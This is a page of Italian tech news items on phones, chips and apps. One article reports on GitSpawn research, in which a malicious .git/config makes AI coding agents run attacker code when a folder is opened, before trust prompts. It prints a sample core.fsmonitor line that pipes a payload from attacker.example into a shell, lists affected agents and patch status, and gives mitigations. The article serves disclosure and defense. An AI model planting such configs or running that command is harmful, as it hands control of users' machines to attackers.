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OPPO Find X10 Pro Max, spunta il design: tre sensori da 200MP e batteria monstre da 8.000 mAh


Sono emerse online nuove immagini che mostrano il design e alcune specifiche chiave del prossimo top di gamma OPPO, il Find X10 Pro Max. Oltre al nuovo modulo fotografico maggiorato, sono state confermate due colorazioni, blu e bianco con logo Hasselblad, mentre le indiscrezioni parlano di una configurazione fotografica particolarmente ambiziosa, con tutti e tre i sensori posteriori da 200 MP, e di una batteria monstre da 8.000 mAh. Tripla fotocamera, tutta da 200MP I render, diffusi dal […]
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Sono emerse online nuove immagini che mostrano il design e alcune specifiche chiave del prossimo top di gamma OPPO, il Find X10 Pro Max. Oltre al nuovo modulo fotografico maggiorato, sono state confermate due colorazioni, blu e bianco con logo Hasselblad, mentre le indiscrezioni parlano di una configurazione fotografica particolarmente ambiziosa, con tutti e tre i sensori posteriori da 200 MP, e di una batteria monstre da 8.000 mAh.

Tripla fotocamera, tutta da 200MP


I render, diffusi dal leaker cinese Dingjiao Shuma, mostrano un ampio modulo fotografico rettangolare posizionato nella parte superiore del retro, con tre grandi lenti allineate accanto a un ulteriore sensore e un flash LED circolare. Secondo le indiscrezioni, il sensore principale, l’ultra-grandangolare e il teleobiettivo periscopico monterebbero tutti sensori da 200 MP: se confermato, sarebbe il primo smartphone al mondo con tre fotocamere posteriori tutte a questa risoluzione.

Particolarmente interessante il ruolo dell’ultra-grandangolare da 200 MP, che promette scatti ritagliati ad alta risoluzione oltre a una resa migliore in macrofotografia e nella stabilizzazione video.

Display a 144Hz e chip Dimensity 9600 Pro


Per il resto della scheda tecnica si parla di un display OLED LTPO da 6,78 pollici con risoluzione 2K e refresh rate fino a 144 Hz, abbinato a un chipset MediaTek Dimensity 9600 Pro. La batteria dovrebbe toccare gli 8.000 mAh, una capacità notevole per un flagship, mentre la fotocamera anteriore sarebbe da 50 MP con autofocus.

Debutto in Cina questo mese, poi il resto del mondo


Il Find X10 Pro Max introdurrebbe per la prima volta la dicitura “Pro Max” nella gamma Find X di OPPO, in sostituzione della denominazione “Ultra” usata finora per il modello di punta. Secondo le indiscrezioni, la gamma Find X10 dovrebbe debuttare in Cina già entro il mese, con tre varianti: Find X10E, Find X10 e Find X10 Pro Max, mentre il Find X10 Pro standard resterebbe un’esclusiva del mercato cinese.

Per il mercato globale, dovrebbero arrivare solo Find X10 e Find X10 Pro Max, con un possibile lancio in India entro fine ottobre a un prezzo indicativo di circa 15 mila rupie, inferiore a quello del Find X9 Ultra ma superiore al Find X9 Pro. Cifre a parte, resta da vedere quanto la qualità fotografica reale e le prestazioni sapranno essere all’altezza di specifiche così ambiziose.

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Qualcomm svela la nuova GPU Adreno con core dedicati all’IA: cosa cambia per i prossimi Snapdragon


Qualcomm ha svelato i dettagli della nuova generazione di GPU Adreno, chiamata "Adreno Neural Fusion", che debutterà sul prossimo Snapdragon di punta. La novità principale è l'introduzione di core dedicati all'intelligenza artificiale, i "Matrix Cores", integrati direttamente nella pipeline grafica: dopo la CPU, anche la GPU dei prossimi Snapdragon farà quindi un salto deciso sul fronte IA. Tre Matrix Core dedicati all'IA La nuova GPU è organizzata in tre slice, ciascuna dotata di un […]
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Qualcomm ha svelato i dettagli della nuova generazione di GPU Adreno, chiamata “Adreno Neural Fusion”, che debutterà sul prossimo Snapdragon di punta. La novità principale è l’introduzione di core dedicati all’intelligenza artificiale, i “Matrix Cores”, integrati direttamente nella pipeline grafica: dopo la CPU, anche la GPU dei prossimi Snapdragon farà quindi un salto deciso sul fronte IA.

Tre Matrix Core dedicati all’IA


La nuova GPU è organizzata in tre slice, ciascuna dotata di un Matrix Core dedicato che opera a 1,45 GHz. Questi blocchi hardware specializzati permettono di eseguire modelli di IA direttamente all’interno della pipeline grafica, invece di spostare l’elaborazione su un’unità separata. Il vantaggio, secondo Qualcomm, è una riduzione del movimento dei dati tra i vari blocchi, con benefici su latenza e consumi: l’azienda parla di un miglioramento dell’efficienza energetica fino al 40% nei carichi supportati.

18 MB di memoria dedicata ad alte prestazioni


L’altra novità è una cache HPM (High Performance Memory) da 18 MB riservata esclusivamente alla GPU. Non si tratta di una capacità enorme in termini assoluti, ma Qualcomm la descrive come un’area a bassissima latenza pensata per conservare i dati necessari al rendering tile-based, al frame buffer e ai calcoli generici, riducendo così la necessità di attingere continuamente alla memoria di sistema. Combinata con i Matrix Core, questa memoria dedicata è il cuore dell’architettura Adreno Neural Fusion.

Effetti attesi su gaming e frame rate


La novità dovrebbe farsi sentire anche nell’esperienza di gioco su smartphone: Qualcomm parla di rendering assistito dall’IA per l’upscaling delle immagini, la stabilizzazione del frame rate e un uso più efficiente dell’energia. Unity e Unreal Engine avrebbero già integrato lo stack software per Neural Fusion, un segnale che i giochi e le app compatibili potrebbero arrivare rapidamente sul mercato.

Snapdragon Summit dal 22 settembre


Qualcomm ha inoltre confermato che il prossimo Snapdragon utilizzerà core CPU Oryon proprietari, completando così il quadro delle novità annunciate finora tra CPU e GPU. Mancano ancora dettagli sull’NPU, che dovrebbero arrivare durante lo Snapdragon Summit, in programma dal 22 al 24 settembre, occasione in cui il quadro completo del prossimo chipset dovrebbe finalmente delinearsi.

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Look up, l’app di Google per Googlebook scovata in anteprima: funziona anche su smartphone Android 17


È comparsa per un breve periodo sul Google Play Store "Look up", un'app pensata per Googlebook, la nuova piattaforma per notebook targata Google, prima ancora dell'annuncio ufficiale. La pagina non è più raggiungibile con i metodi tradizionali, ma il file dell'app è ormai in circolazione e può essere installato tramite sideload anche su smartphone con Android 17. Googlebook nasce dalla fusione tra elementi di Android e ChromeOS, con Gemini al centro dell'esperienza. Google ha già […]
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È comparsa per un breve periodo sul Google Play Store “Look up”, un’app pensata per Googlebook, la nuova piattaforma per notebook targata Google, prima ancora dell’annuncio ufficiale. La pagina non è più raggiungibile con i metodi tradizionali, ma il file dell’app è ormai in circolazione e può essere installato tramite sideload anche su smartphone con Android 17.

Googlebook nasce dalla fusione tra elementi di Android e ChromeOS, con Gemini al centro dell’esperienza. Google ha già mostrato funzioni dedicate come “Magic Pointer” e “Desktop Camera”, e Look up sembra destinata ad aggiungersi a questo elenco di utility pensate per migliorare l’usabilità della piattaforma.

Basta selezionare una parola per cercare


La caratteristica principale di Look up è la possibilità di selezionare un testo sullo schermo e ottenere immediatamente informazioni correlate dai servizi Google. Selezionando una parola sconosciuta, una frase o il nome di una località e richiamando Look up, l’app interroga Google Search, Google Maps, Google Flights e altri servizi, mostrando i risultati in una finestra flottante dedicata.

Dalle schermate circolate finora, l’app è in grado di restituire definizioni da dizionario, informazioni sui voli, riepiloghi e traduzioni, a seconda del contenuto selezionato. Per attivarla basta selezionare un testo e scegliere Look up dal menu contestuale, anche se su schermi più piccoli l’opzione potrebbe essere nascosta nel menu con i tre puntini.

Domande di approfondimento con Gemini


Sotto ai risultati principali, l’app mette a disposizione anche un campo per porre ulteriori domande, sfruttando Gemini in modalità conversazionale. È quindi possibile approfondire un argomento oltre le informazioni mostrate inizialmente, in uno stile che ricorda da vicino la funzione “Look Up” già presente su macOS, ma integrata più a fondo con l’ecosistema IA di Google.

Rimossa dal Play Store, ma già disponibile su APKMirror


La pagina di Look up è stata rimossa dal Play Store poco dopo la sua comparsa, ma una build iniziale è già disponibile su APKMirror ed è compatibile con dispositivi Android 17. Il nome del pacchetto contiene comunque il termine “desktop”, segno che l’app è pensata principalmente per l’ambiente desktop di Googlebook: la sua disponibilità su smartphone potrebbe quindi essere solo temporanea, in attesa che Google chiuda l’accesso non ufficiale.

Con Googlebook atteso per l’autunno 2026, questa fuga di notizie conferma che Google intende integrare a fondo ricerca e Gemini nell’esperienza desktop della nuova piattaforma, e non limitarsi a portare semplicemente le app Android su un notebook.

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HyperOS 4 solo per Android 17? I test di Xiaomi lasciano fuori i modelli più vecchi


Mentre Xiaomi prosegue lo sviluppo di HyperOS 4, emergono segnali che alcuni smartphone ancora fermi ad Android 16 potrebbero restare esclusi dall'aggiornamento. Secondo le informazioni raccolte monitorando i test interni dell'azienda, la quasi totalità dei modelli destinati ad Android 17 risulta già in fase di test per HyperOS 4, mentre per i dispositivi che restano su Android 16 non è stata rilevata alcuna attività simile. 112 modelli attesi ad Android 17, 108 già in test Dei 112 […]
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Mentre Xiaomi prosegue lo sviluppo di HyperOS 4, emergono segnali che alcuni smartphone ancora fermi ad Android 16 potrebbero restare esclusi dall’aggiornamento. Secondo le informazioni raccolte monitorando i test interni dell’azienda, la quasi totalità dei modelli destinati ad Android 17 risulta già in fase di test per HyperOS 4, mentre per i dispositivi che restano su Android 16 non è stata rilevata alcuna attività simile.

112 modelli attesi ad Android 17, 108 già in test


Dei 112 smartphone Xiaomi previsti in aggiornamento ad Android 17, ben 108 risultano già coinvolti in qualche forma di test di HyperOS 4. Sul fronte opposto, nessuno dei modelli basati su Android 16 risulta al momento tra i dispositivi in fase di verifica.

Si tratta ovviamente di un’istantanea dello stato di sviluppo attuale, non di un annuncio ufficiale: Xiaomi non ha dichiarato di voler escludere Android 16 da HyperOS 4, e in futuro l’elenco dei modelli in test potrebbe ampliarsi. Tuttavia, il divario tra 108 modelli su 112 da un lato e zero dall’altro è comunque significativo, e suggerisce che l’azienda stia legando HyperOS 4 in modo stretto ad Android 17.

Un cambio di strategia rispetto al passato


Se questa tendenza si confermasse, rappresenterebbe una svolta per Xiaomi. In passato, una nuova versione di HyperOS non è sempre stata abbinata a una nuova versione di Android: capitava che l’interfaccia e le funzioni principali venissero aggiornate mantenendo invariata la base Android, come avvenuto con HyperOS 3 su alcuni modelli meno recenti.

Se HyperOS 4 dovesse invece restare legato esclusivamente ad Android 17, per i modelli il cui ultimo grande aggiornamento software è Android 16 questo coinciderebbe anche con l’ultimo major update di HyperOS.

Gli aggiornamenti di sicurezza dovrebbero continuare


Restare esclusi da HyperOS 4 non significherebbe comunque la fine del supporto software: gli smartphone ancora nel periodo di garanzia continuerebbero presumibilmente a ricevere le patch di sicurezza, pur senza le nuove funzioni e il redesign dell’interfaccia. Per Xiaomi, concentrare lo sviluppo di HyperOS 4 su Android 17 permetterebbe di ridurre il numero di combinazioni da testare, semplificando lo sviluppo. Xiaomi ha già avviato la beta di HyperOS 4 in Cina, partita il 14 agosto con Xiaomi 17 e Redmi K90, con altri modelli in arrivo nelle prossime settimane: solo l’evolversi di questi test chiarirà se i modelli Android 16 resteranno davvero esclusi.

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Classifica AnTuTu di agosto: RedMagic 11S Pro+ soffia il primo posto a iQOO 15 Ultra per soli 111 punti


AnTuTu ha pubblicato la classifica delle prestazioni Android per il mese di agosto 2026, divisa come sempre in tre categorie: flagship, sub-flagship e tablet Android. Nella fascia più alta il RedMagic 11S Pro+ ha conquistato la vetta, mentre tra i tablet debutta a sorpresa in prima posizione il Lenovo Legion Y700 Infinite. Testa a testa tra RedMagic e iQOO Nella categoria flagship, il RedMagic 11S Pro+, secondo classificato a luglio, sale al primo posto con 4.118.689 punti, guadagnando […]
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AnTuTu ha pubblicato la classifica delle prestazioni Android per il mese di agosto 2026, divisa come sempre in tre categorie: flagship, sub-flagship e tablet Android. Nella fascia più alta il RedMagic 11S Pro+ ha conquistato la vetta, mentre tra i tablet debutta a sorpresa in prima posizione il Lenovo Legion Y700 Infinite.

Testa a testa tra RedMagic e iQOO


Nella categoria flagship, il RedMagic 11S Pro+, secondo classificato a luglio, sale al primo posto con 4.118.689 punti, guadagnando 34.456 punti rispetto al mese precedente. A inseguire, staccato di appena 111 punti, c’è l’iQOO 15 Ultra, leader di luglio, fermo a 4.118.578 punti: uno dei distacchi più ridotti mai registrati in cima alla classifica.

Al terzo posto debutta il RedMagic 11 Pro+ con 4.049.580 punti, seguito da iQOO 15, vivo X300 Ultra Satellite Edition e Realme GT8 Pro: tutti i modelli della top 6 montano uno Snapdragon 8 Elite Gen 5. Fanno il loro ingresso in top 10 anche il RedMagic 11 Pro+ e il Redmi K100 Pro Max, mentre Honor Magic8 Pro e OnePlus 15 escono dalla classifica.

Honor 600 Pro resta al vertice tra i sub-flagship


Nella fascia sub-flagship, l’Honor 600 Pro conferma il primato con 2.187.704 punti, davanti all’OPPO Reno16, secondo con 2.145.230 punti. L’OPPO K15 Pro sale dalla quarta alla terza posizione, mentre Honor WIN Turbo scende al quarto posto. Debuttano in top 10 anche OPPO Reno15 Pro e Reno15, rispettivamente quinto e settimo, mentre lo Xiaomi 17T scivola dal quinto all’ottavo posto perdendo 35.526 punti.

Sorpresa tablet: Lenovo Legion Y700 Infinite subito in vetta


Nella categoria tablet, il neo arrivato Lenovo Legion Y700 Infinite conquista il primo posto al debutto con 4.198.627 punti, relegando al secondo e terzo posto rispettivamente il vivo Pad6 Pro e l’iQOO Pad6 Pro, entrambi comunque su punteggi elevatissimi. Segue l’OnePlus Pad 3 Pro, che guadagna una posizione, mentre curiosamente il Legion Y700 Gen 5 è stato misurato questo mese con una configurazione diversa da luglio (12 GB RAM e 512 GB di storage invece di 24 GB e 1 TB), fattore che può aver inciso sul punteggio.

Il mese di agosto conferma quindi una fascia flagship sempre più affollata attorno ai 4,1 milioni di punti, con gli Snapdragon 8 Elite Gen 5 protagonisti assoluti: basterà un piccolo aggiornamento software per ribaltare ancora la classifica a settembre.

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Huawei nova 16s Pro sbarca a livello globale: fotocamera RYYB da 200MP e batteria da 7.000 mAh


Huawei porta sui mercati internazionali la serie nova 16, già presentata in Cina. Al debutto globale arrivano il nova 16s Pro, basato sul nova 16 Pro cinese, e il nova 16s, versione standard della gamma. Il modello di punta punta tutto sulla fotocamera principale RYYB da 200 MP e su una batteria generosa da 7.000 mAh, mentre l'evento internazionale di lancio è in programma per il 2 settembre. nova 16s Pro: fotocamera da 200MP al centro della scena Il modello Pro monta un sensore […]
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Huawei porta sui mercati internazionali la serie nova 16, già presentata in Cina. Al debutto globale arrivano il nova 16s Pro, basato sul nova 16 Pro cinese, e il nova 16s, versione standard della gamma. Il modello di punta punta tutto sulla fotocamera principale RYYB da 200 MP e su una batteria generosa da 7.000 mAh, mentre l’evento internazionale di lancio è in programma per il 2 settembre.

nova 16s Pro: fotocamera da 200MP al centro della scena


Il modello Pro monta un sensore principale RYYB da 200 MP con apertura f/1.8 e stabilizzazione ottica, affiancato da un sensore multispettrale per la correzione del colore in base alla scena. Completano la dotazione un teleobiettivo periscopico RYYB da 50 MP con zoom ottico 3,7x e un ultra-grandangolare RYYB da 50 MP con campo visivo di 118 gradi e messa a fuoco macro fino a 2,5 cm; la fotocamera anteriore è invece da 50 MP.

Display da 6,84 pollici e ricarica rapida da 100W


Il display è un pannello LTPO OLED da 6,84 pollici con refresh rate variabile da 1 a 120 Hz e luminosità di picco fino a 6.000 nit. Nonostante uno spessore contenuto di 7,1 mm, la batteria arriva a 7.000 mAh, con ricarica rapida cablata da 100W tramite la tecnologia Huawei SuperCharge Turbo; il peso si attesta a 218 grammi.

  • Telaio in lega di alluminio aerospaziale con vetro Kunlun Glass rinforzato
  • 4 colorazioni: Isle Blue, Breathing Crystal, Starry Black, Sky White
  • nova 16s: display più compatto da 6,68 pollici, stessa batteria da 7.000 mAh
  • nova 16s: chipset Kirin 8020, contro il Kirin 9010S del Pro


EMUI 16.0 e funzioni fotografiche basate sull’IA


A differenza dei modelli venduti in Cina, le versioni globali arrivano con EMUI 16.0 invece di HarmonyOS. Sul fronte software, entrambi i modelli offrono diverse funzioni di editing fotografico basate sull’intelligenza artificiale: AI Composition per suggerire l’inquadratura in tempo reale, AI Move per spostare i soggetti in una foto, AI Remove per eliminare elementi indesiderati, oltre a AI Best Expression, che sceglie l’espressione più naturale in scatti di gruppo, e AI De-Glare per ridurre i riflessi su superfici come i vetri.

Prezzo e disponibilità nei singoli mercati non sono ancora stati resi noti: i dettagli dovrebbero arrivare in occasione dell’evento globale, quando si capirà anche a che fascia di prezzo verrà posizionato il nova 16s Pro con la sua fotocamera da 200 MP.

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Oukitel presenta WP600 e WP70 Ultra: smartphone rugged con ventola di raffreddamento e batteria da 16.000 mAh


In vista di IFA 2026, in programma a Berlino dal 4 settembre, Oukitel ha presentato due nuovi smartphone rugged: il WP600, orientato al gaming, e il WP70 Ultra, che punta tutto su una batteria monstre da 16.000 mAh. Entrambi condividono l'anima robusta tipica della gamma WP, ma con caratteristiche molto diverse tra loro. WP600: gaming rugged con doppia ventola Il WP600 è pensato per chi cerca un rugged phone senza rinunciare alle prestazioni in gioco. La scocca gialla e nera, impreziosita […]
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In vista di IFA 2026, in programma a Berlino dal 4 settembre, Oukitel ha presentato due nuovi smartphone rugged: il WP600, orientato al gaming, e il WP70 Ultra, che punta tutto su una batteria monstre da 16.000 mAh. Entrambi condividono l’anima robusta tipica della gamma WP, ma con caratteristiche molto diverse tra loro.

WP600: gaming rugged con doppia ventola


Il WP600 è pensato per chi cerca un rugged phone senza rinunciare alle prestazioni in gioco. La scocca gialla e nera, impreziosita da luci RGB personalizzabili e inserti metallici, si distingue dai rugged più tradizionali, mentre le certificazioni IP68, IP69K e MIL-STD-810H garantiscono resistenza ad acqua, polvere e urti.

Sotto la scocca trova posto un chipset MediaTek Dimensity 8300, affiancato da un sistema di raffreddamento attivo a doppia ventola pensato per mantenere stabili le prestazioni durante sessioni di gioco prolungate o con emulatori. Mancano invece i tasti dorsali tipici dei gaming phone: l’accento è più sulla robustezza e sul raffreddamento che sull’ergonomia da controller.

  • Batteria da 10.000 mAh con ricarica rapida a 45W
  • Fino a 24 GB di RAM e 1 TB di storage
  • Display FHD+ da 6,8 pollici a 120 Hz
  • Fotocamera principale da 108 MP, supporto eSIM
  • Interruttore privacy per disattivare insieme fotocamera, microfono e GPS


WP70 Ultra: 16.000 mAh nel rugged “più sottile” della categoria


Il WP70 Ultra fa invece della batteria il proprio biglietto da visita: 16.000 mAh di capacità, realizzati con tecnologia agli ioni di litio al silicio-carbonio, sempre più diffusa tra gli smartphone di ultima generazione. Oukitel lo definisce il rugged “più sottile” della categoria con questa capacità di batteria, anche se uno spessore di 16,4 mm resta comunque notevole rispetto a uno smartphone tradizionale.

Il display è un pannello OLED da 6,78 pollici a 120 Hz, con ricarica cablata da 66W. Il chipset è un Dimensity 7200, affiancato da una fotocamera principale da 108 MP, una fotocamera per la visione notturna da 64 MP e una funzione di termocamera. Il corpo, nero come base, è disponibile con accenti verde, arancione e viola.

Due strade diverse, stesso DNA rugged


WP600 punta su prestazioni di gioco e raffreddamento attivo, mentre WP70 Ultra fa dell’autonomia estrema il proprio punto di forza. Prezzo e disponibilità non sono ancora stati annunciati, ma entrambi i modelli dovrebbero essere esposti a IFA 2026, dove sarà possibile valutarne da vicino ingombri, peso e reale efficacia del sistema di raffreddamento.

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GitSpawn: come un file .git/config trasforma i tuoi agenti AI in un vettore RCE


Una ricerca di Manifold Security mostra come una semplice riga in .git/config possa far eseguire codice arbitrario a Claude Code, Codex, Cursor e altri agenti AI da riga di comando: meccanismo dell'attacco e mitigazioni pratiche.
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Il problema non è nel modello AI, ma nell’idraulica sotto di esso


I ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code execution


core.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un backup ripristinato, un progetto trasferito via cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
    fsmonitor = "sh -c 'curl attacker.example/payload | sh'"

Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosa


La ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

  • prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);
  • prima dell’autenticazione dell’utente (Qwen Code);
  • prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleli


Oltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

Stato delle patch (settembre 2026)

AgenteVersioni coinvolteStato
goose< 1.44.0Patchato (CVE-2026-72718, CVSS 7.0)
Codex CLI0.102.0 – 0.130.0Patchato in 0.131.0+ (CVE-2026-19592)
Cursorvarie build CLIPatchato
Claude Code2.1.193+Parzialmente patchato in 2.1.196+ (CVE-2026-55607); una variante “ultrareview” risultava ancora presente in 2.1.258
Hermes Agent0.18.2, 0.21.0Non patchato (CVE-2026-71963, vendor non responsivo)
Qwen Code0.19.6, 0.22.3Non patchato
Grok Build0.2.93, 1.0.13Non patchato

Al momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOps


In attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

  • Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:
    git config --global core.fsmonitor false
  • Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:
    git config --global --list | grep fsmonitor
    git config --get core.fsmonitor
    git config --get core.hooksPath
  • Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.
  • Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.
  • Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.
  • Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.


Perché riguarda anche voi, se non usate ancora agenti AI per il codice


GitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).

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Sony Xperia 10 VIII, primo mercato al via il 15 settembre: rincaro in vista anche per l’Europa


Iniziano a delinearsi i tempi di lancio dello Xperia 10 VIII, il nuovo smartphone di fascia media presentato da Sony lo scorso 25 agosto. Sony Taiwan ha comunicato che il dispositivo sarà in vendita dal 15 settembre, rendendo il mercato taiwanese, ad oggi, il primo a ricevere il nuovo modello. Lo Xperia 10 VIII eredita l'impostazione generale del predecessore, con alcuni miglioramenti su leggibilità del display e resa degli altoparlanti. Prezzo taiwanese in aumento di oltre il 30% Sul […]
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Iniziano a delinearsi i tempi di lancio dello Xperia 10 VIII, il nuovo smartphone di fascia media presentato da Sony lo scorso 25 agosto. Sony Taiwan ha comunicato che il dispositivo sarà in vendita dal 15 settembre, rendendo il mercato taiwanese, ad oggi, il primo a ricevere il nuovo modello.

Lo Xperia 10 VIII eredita l’impostazione generale del predecessore, con alcuni miglioramenti su leggibilità del display e resa degli altoparlanti.

Prezzo taiwanese in aumento di oltre il 30%


Sul mercato di Taiwan, lo Xperia 10 VIII sarà proposto a 19.990 dollari taiwanesi, un aumento di circa il 33% rispetto ai 14.990 dollari taiwanesi richiesti per lo Xperia 10 VII. Il resto del mondo, Europa compresa, dovrebbe seguire tra la metà e la fine di settembre, anche se questa è la prima volta che emerge una data di lancio precisa per un mercato specifico.

Un indizio sul prezzo italiano ed europeo


Il prezzo taiwanese non si traduce automaticamente in quello europeo, ma in passato le due cifre sono spesso risultate abbastanza vicine: lo Xperia 10 VII, ad esempio, veniva venduto a Taiwan a un prezzo equivalente a circa 75.000 yen, molto simile ai 74.800 yen della versione giapponese SIM free. Per questo motivo, il prezzo del modello taiwanese viene considerato un indicatore ragionevole anche per gli altri mercati.

Il rincaro sembra generalizzato: nel Regno Unito lo Xperia 10 VIII è indicato a 549 sterline, 150 sterline in più rispetto al modello precedente, il che rende improbabile che altri mercati europei, Italia inclusa, restino esenti da un aumento di prezzo simile.

Specifiche sostanzialmente invariate


A fronte del possibile rincaro, la scheda tecnica non cambia in modo radicale: lo Xperia 10 VIII conserva funzioni ormai rare come il jack per cuffie da 3,5 mm e lo slot per microSD, mentre il cuore del sistema resta uno Snapdragon 6 Gen 3 abbinato a 8 GB di RAM, in linea con il modello precedente. Se il prezzo dovesse effettivamente avvicinarsi ai livelli ipotizzati, si tratterebbe di uno dei rincari più marcati mai visti sulla serie 10, ed è lecito chiedersi come reagirà il pubblico a un modello di fascia media proposto a un prezzo sempre più vicino a quello di una fascia superiore.

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I vecchi Chromecast tornano a funzionare: Google risolve il bug di configurazione in Google Home


Google ha risolto il problema che negli scorsi giorni impediva a molti utenti di configurare i Chromecast di vecchia generazione tramite l'app Google Home. Il bug, comparso dopo un aggiornamento, causava l'impossibilità di aggiungere nuovamente i dispositivi già presenti sull'account e, in alcuni casi, la loro scomparsa improvvisa dall'app. Google conferma ora che il problema è stato risolto con l'ultima versione dell'app. La correzione arriva con l'aggiornamento dell'app Google ha […]
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Google ha risolto il problema che negli scorsi giorni impediva a molti utenti di configurare i Chromecast di vecchia generazione tramite l’app Google Home. Il bug, comparso dopo un aggiornamento, causava l’impossibilità di aggiungere nuovamente i dispositivi già presenti sull’account e, in alcuni casi, la loro scomparsa improvvisa dall’app. Google conferma ora che il problema è stato risolto con l’ultima versione dell’app.

La correzione arriva con l’aggiornamento dell’app


Google ha comunicato la risoluzione del problema aggiornando un thread su Reddit dove si erano accumulate numerose segnalazioni da parte degli utenti. Chi ha riscontrato difficoltà viene ora invitato ad aggiornare Google Home alla versione 4.26 o successiva e a riprovare la procedura di configurazione del proprio Chromecast.

Il problema più segnalato riguardava proprio l’impossibilità di aggiungere ex novo un vecchio Chromecast a Google Home: alcuni utenti hanno anche notato la scomparsa di dispositivi già configurati in precedenza dall’app, una situazione che per chi utilizza questi dispositivi da anni è apparsa come un’interruzione improvvisa del servizio.

La coincidenza con la fine del supporto ha generato confusione


A complicare la situazione ha contribuito il fatto che Google aveva da poco annunciato la fine del supporto per alcuni modelli di Chromecast più datati. Molti utenti non riuscivano quindi a capire se si trattasse di un semplice bug dell’app oppure della disattivazione definitiva dei loro dispositivi.

Nel frattempo, diversi utenti avevano provato soluzioni alternative, come installare versioni precedenti di Google Home o creare una nuova “Home” da zero; alcune segnalazioni riguardavano problemi simili anche sul Chromecast Audio. La correzione ora rilasciata da Google conferma che, almeno per questo episodio, non si trattava di una disattivazione volontaria dei vecchi Chromecast, ma di un problema software lato app.

Cosa fare in caso di problemi persistenti


